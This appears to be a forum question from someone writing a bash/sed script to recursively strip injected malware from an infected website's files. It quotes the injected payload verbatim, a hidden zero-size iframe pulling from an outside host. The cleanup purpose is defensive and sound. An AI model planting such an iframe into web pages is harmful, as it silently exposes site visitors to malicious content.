I am working to create a script which will take a string as an argument and replace recursively in a directory. The simple case (a single word) is admirably handled by the following find and replace script:
grep -rl $1 . | xargs sed -i .backup -e "s/$1/$2/g"
But here things get a bit more tricky. The string I am trying to deal with is a malware script which infected a website I wrote (but do not host):
<iframe src="http://reycross.cn/qaqa/" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
This string is obviously complex for both bash and sed would require some escaping. I have experimented with rpl, a special purpose replacement tool, but it doesn't handle the whitespace well:
rpl -pR $* '' *
At the prompt however, I am able to replace $* with the string and get the expected behavior. Any ideas about how to wrangle bash, sed, or rpl into a cute remove-long-string.sh?